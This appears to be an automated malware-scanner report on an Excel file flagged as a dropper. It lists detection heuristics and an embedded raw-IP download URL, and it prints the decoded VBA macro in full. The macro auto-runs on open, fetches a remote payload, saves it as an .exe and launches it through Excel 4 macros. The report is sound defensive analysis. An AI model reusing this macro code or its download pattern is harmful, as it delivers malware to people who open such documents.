MALICIOUS
250
Risk Score
Heuristics 8
-
ClamAV: Doc.Dropper.Agent-7073964-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-7073964-0
-
Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set Class1.Success1 = CreateObject(Class1.Label2.Tag) -
CallByName call high OLE_VBA_CALLBYNAMECallByName callMatched line in script
CallByName Class5, "Show", VbMethod -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub WorkBook_open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://195.123.213.126/g2 In document text (OLE body)
- http://t2.symcb.com0In document text (OLE body)
- http://tl.symcd.com0&In document text (OLE body)
- http://t1.symcb.com/ThawtePCA.crl0In document text (OLE body)
- http://tl.symcb.com/tl.crl0In document text (OLE body)
- https://www.thawte.com/cps0/In document text (OLE body)
- https://www.thawte.com/repository0WIn document text (OLE body)
- http://tl.symcb.com/tl.crt0In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas🔏 SignedVBA project digital signature |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3144 bytes |
SHA-256: 061daa68b14911269fa3e10c4b159307883cfef8d512e1f66b4450ab20e4bb36 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
On Error Resume Next
CallByName Class5, "Show", VbMethod
End Sub
Attribute VB_Name = "CodeBlock"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub MethodENG()
Dim time
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
#If STDIN Then
Dim RRvel0_5
Dim RRvel0_6
Dim RRvel0_7
Dim RRvel0_9
Dim RRvel0_8
Dim RRvel0_11
Dim RRvel0_12
#End If
Set Class1.Success1 = CreateObject(Class1.Label2.Tag)
Dim fUP: fUP = 0
CallByName Class1, "Mistake1", VbSet, CreateObject(Class1.TextBox1.Caption)
Dim fDOWN: fDOWN = 0
End Sub
Attribute VB_Name = "Modu"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub Attention()
CodeBlock.MethodENG
Dim RRvel0_4
Dim RRvel0_3
Class1.Label5_Click
Class1.Mistake1.Send
With Class1.Success1
.Type = 1
End With
Class1.Success1.Open
With Class1.Success1
.write Class1.Mistake1.responseBody
End With
#If STDOUT Then
CallByName Class1.Success1, "savet" & "ofile", VbMethod, "wrnglr.e" & "" + "xe", 2
#End If
ExecuteExcel4Macro Class1.T10_Text.Text
ExecuteExcel4Macro "MESSAGE(False, ""Studio Marv"")"
End Sub
Attribute VB_Name = "Class1"
Attribute VB_Base = "0{96606BD0-01F4-42B3-BA60-251283809893}{103B609D-7E37-4F9D-B444-144B6A3FFC6A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Success1 As Object
Public Mistake1 As Object
Public Success2 As Object
Public Mistake2 As Object
Public Success3 As Object
Public Mistake3 As Object
Public Sub Label5_Click()
Dim RRvel0_5
Mistake1.Open Me.Label3.Caption, Me.T10_Text.Tag, False
Dim RRvel0_6
End Sub
Public Sub S1000()
End Sub
Public Sub frfr4()
End Sub
Attribute VB_Name = "Class5"
Attribute VB_Base = "0{43F0D5D3-3259-4334-BE0E-A289EABB04AB}{AFD5653D-9400-4E39-8832-D362BB6C9E02}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub FUnt()
Dim rd1 As New Modu
rd1.Attention
End Sub
Private Sub UserForm_Initialize()
FUnt
Unload Me
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.